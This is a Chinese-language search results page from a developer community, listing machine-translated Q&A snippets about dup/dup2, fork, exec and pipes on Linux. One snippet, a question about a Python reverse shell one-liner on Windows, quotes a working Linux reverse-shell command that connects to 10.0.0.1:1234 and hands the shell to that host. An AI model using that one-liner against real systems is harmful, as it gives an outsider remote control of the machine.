腾讯云
开发者社区
文档
建议反馈
控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
搜索
搜索
关闭
发布
登录/注册
精选内容/技术社群/优惠产品,
尽在小程序
立即前往
文章
问答
(9999+)
视频
沙龙
1
回答
C:
dup
和近距离执行
c
、
unix
、
dup
在一本关于C编程的德文书(
Linux
Programmierung,由Jürgen Wolf编写)中,我找到了一份声明,翻译成英文如下(句子由我编号): 在某些情况下,您可能需要复制文件描述符1。例如,如果父
进程
想要与子
进程
交换数据,并且子
进程
通过
使用
exec*() 2被新
进程
覆盖。在这种情况下,如果没有
dup
() or
dup
2(),则设置关闭-exec标志3。当设置此标志时,所有文件描述符都无效(因为被新
进程
覆盖)--即,它们不
浏览 2
提问于2016-12-08
得票数 5
回答已采纳
1
回答
我是否可以假设stdio streams在
dup
2之后指向正确的文件描述符?
c
、
fork
、
pipe
、
stdio
、
sus
我的想法大概是:
使用
select/pselect/epoll等(必须
跨
Linux
、BSDs、AIX、Solaris等)查看管道的读取端以获取新数据,并在到达write()时直接指向父
进程
中的相应文件描述符现在,我猜想在子
dup
2和setbuf之
浏览 7
提问于2014-04-03
得票数 0
回答已采纳
2
回答
当在windows服务中调用时,ssh将失败。
windows-services
、
ssh
我正在调用cmd文件,该文件调用ssh与
Linux
机器进行交互。我
使用
.NET Process类来完成这个任务。但是,当在Windows服务调用中调用时,会出现以下错误: 0 [main] ssh 9496 fhandler_base::
dup
:
dup
(some disk file) failed, handle 0
浏览 5
提问于2011-03-26
得票数 4
回答已采纳
2
回答
C在
使用
dup
2后打印默认stdin中的文件
c
、
linux
、
shell
、
debugging
、
dup
我正在用C编写一个运行在
Linux
上的小shell。因为涉及到很多陷阱,我想问一问是否有一种方法来打印0位置内的东西。例如,如果我调用
dup
2(file_name,0),是否有一种方法可以打印file_name以便用于调试?
浏览 2
提问于2017-05-07
得票数 0
3
回答
如何在
Linux
上守护c/c++程序
c++
、
linux
、
daemon
我根据上的指南在
Linux
上写了一个守护
进程
程序,但是
进程
崩溃了好几次,我找不到原因。它已经困扰我几天了。现在我的问题是守护
进程
,为什么我们需要解除与控制终端的关联?这是否与
进程
的崩溃有关?在我的代码中是否缺少守护
进程
的其他地方?bool daemonize() // http://
linux
.die.net/man/1/daemonize
浏览 0
提问于2016-09-11
得票数 2
1
回答
linux
中新
进程
对父
进程
的优先级继承
process
、
linux-kernel
、
initialization
在
Linux
中,当创建一个新
进程
时,它继承父
进程
的static_prio的normal_prio值。这到底发生在哪里??是在
dup
_task_struct()函数还是在copy_process()函数中完成??
浏览 1
提问于2012-03-14
得票数 1
回答已采纳
1
回答
这里有
Linux
中的"CreatePipe“和"CreateProcessW”功能吗?
c++
、
linux
、
process
、
pipe
如何
使用
Linux
中的"CreatePipe“和"CreateProcessW”函数,当我在
Linux
中编译C++代码时,出现如下错误:'CreatePipe‘没有在这个作用域中声明。
浏览 5
提问于2020-02-18
得票数 1
3
回答
用来管理项目的工具是什么?
tools
、
web-tools
、
agile
是否有类似于目标
进程
(目标
进程
的网页)的
linux
工具? 谢谢
浏览 0
提问于2011-03-17
得票数 2
1
回答
如何在
Linux
中将子
进程
的std (out / err)设置为父
进程
c++
、
linux
、
multiprocessing
、
stdout
、
stdin
我有一个父
进程
,用户可能已经将它的std (out / err)设置为特定的文件(fd)。我见过windows支持GetStdHandle,但在
Linux
上找不到对应的支持。我假设我只需要获取父std管道的FD,并
使用
dup
2为子
进程
0、1和2 FD设置它。
浏览 4
提问于2015-02-12
得票数 0
2
回答
以二进制模式写入标准输出的最简单方法是什么?
c
、
windows
、
binary
、
newline
、
stdout
它在
Linux
上运行良好,但我在Windows上编译时遇到了问题,因为"\n“被转换为"\r\n”。 有没有一种标准的方式可以在二进制模式下写入标准输出,从而避免换行符的转换?我正在
使用
GCC和MinGW,并
使用
fwrite向stdout写入内容。
浏览 1
提问于2013-06-03
得票数 24
回答已采纳
1
回答
跨
平台
进程
UiPath中的数据抓取
cross-platform
、
uipath
、
uipath-studio
、
uipath-activity
我在Windows中创建了一个
进程
,它可以从网站抓取数据,下面是用于创建
进程
的组件 如何在
跨
平台计算机(
Linux
)上进行复制 我们知道,对于Windows,我们可以
使用
打开浏览器的UiPath工具来选择事物但是,我们能否在
跨
平台过程中复制相同的功能,并在UiPath中
使用
有限的支持
跨
平台的包?如果是,如何解决这个问题?
浏览 5
提问于2022-08-08
得票数 1
1
回答
如何在派生和执行后
使用
select管道?
c++
、
linux
、
select
、
pipe
我对
linux
编程是个新手,所以请耐心听我说。在我的应用程序中,我先执行fork(),然后再执行execl()另一个二进制文件。在fork和exec正常之后,我执行一个
dup
2()从执行的二进制文件的stdout中读入。我需要我的父应用程序等待它创建的
进程
的输出,一旦有输出,就读取它。我想我将
使用
select(),并等待几毫秒,然后尝试查看是否有数据要读取,如果有,则
使用
read()。然而,我的代码不能工作,因为select()以fd_set作为参数,而我的管道是由fd_set()和
dup</em
浏览 1
提问于2011-05-19
得票数 1
回答已采纳
2
回答
dup
()系统调用的解释
linux
、
pipe
、
dup
当
dup
()函数用于复制文件描述符时,我能得到一个非常简单的解释吗?我想
使用
管道,但我也要让孩子从管道中读取(这是容易的部分),但是要把数据写回给家长。我应该用另一根管子,还是可以用同一根管子?
浏览 6
提问于2015-10-27
得票数 2
回答已采纳
1
回答
将标准输出重定向到multiprocessing.Pipe抛出错误
python
、
python-3.x
、
multiprocessing
、
pipe
、
dup2
我想通过管道将新
进程
的stdout和stderr重定向回父
进程
。from multiprocessing import Process, Pipe os.
dup
2(w.fileno(), 1) print('From pipe: %s' % reader.readline()) reader.
浏览 0
提问于2019-09-07
得票数 1
回答已采纳
1
回答
叉式python工艺的重定向输出到管道
python
、
python-2.7
、
pipe
、
stdout
我想将一些日志记录的
进程
从分叉的Python
进程
写入父
进程
,因此我
使用
管道对:if pid == -1:sys.stdout = os.fdopen(wpipe, 'w')if pid == 0: print '
浏览 5
提问于2015-07-19
得票数 1
回答已采纳
1
回答
使用
fork()
使用
dup
2对2个管道运行execlp()
c
、
linux
、
exec
、
fork
、
pipe
我正在编写一个C程序,它将运行
Linux
命令,例如:我没有得到任何结果 { close(pfd[1]); close(pfd= fork(); if(pfils ==
浏览 5
提问于2013-01-12
得票数 2
回答已采纳
1
回答
管道& exec &C
c
、
linux
、
unix
、
pipe
、
exec
嗨,我有以下问题,我必须创建一个程序来执行这些
Linux
命令ls –la | sort | wc –l,但在我的代码中,我只能读取其中的两个命令,可以帮助我吗??[i] = fork(); if(i==0){
dup
2failed"); } close(dados[1]);
浏览 0
提问于2015-03-31
得票数 0
1
回答
使用
execl调用文件夹中的文件
c
我在
Linux
中用C语言写了一个程序,它创建主
进程
和辅助
进程
,通信应该是这样的:主
进程
(父
进程
)接收键盘输入(字符数组),然后通过管道将其传递给助手(子)
进程
,然后子
进程
应该
使用
execl调用其他.c文件(我要调用的.c文件名为simple.c),然后将结果传递到第二个管道...在
使用
execl时,我遇到了一些问题,下面是我的子代码: printf("I\n");
浏览 1
提问于2014-12-05
得票数 0
3
回答
是否可以将父
进程
的stderr重定向到分叉
进程
上的套接字文件描述符?
c
、
linux
、
sockets
、
stdio
我已经编写了一个守护
进程
,在开发期间,它的调试信息被发送到stderr (在它被完全“去守护”之前)。现在代码更成熟了,所以通过一个/dev/null调用将stderr重定向到freopen(2)。为了调试的目的,我非常希望能够连接到服务器守护
进程
,发送命令并让它神奇地开始通过套接字发送stderr流。是否有一种方法(在分叉的
进程
中)对'**
dup
(2)**‘进行类似于父
进程
对子套接字文件描述符的 stderr 的操作?是唯一的
Linux
解决方案是可以接受的
浏览 4
提问于2012-01-05
得票数 2
回答已采纳
4
回答
Python窗口反向外壳一衬里
python
、
shellcode
我正在尝试修改我多次
使用
的
Linux
版本,但这是我第一次
使用
Windows。
Linux
Linux
: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.
dup
2(s.fileno(),0); os.
dup
2(s.fileno(),1); os.<em
浏览 12
提问于2016-06-23
得票数 7
点击加载更多
扫码
添加站长 进交流群
领取专属
10元无门槛券
手把手带您无忧上云
相关
资讯
Linux杀不死的进程之CPU使用率这么高
查看 Linux 系统中进程和用户的内存使用情况
嵌入式Linux裸机开发之shell实现
Python daemon守护进程!
我们天天都在使用的管道命令,Shell 在里面到底动了什么手脚?
热门
标签
更多标签
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
活动推荐
运营活动
广告
关闭
领券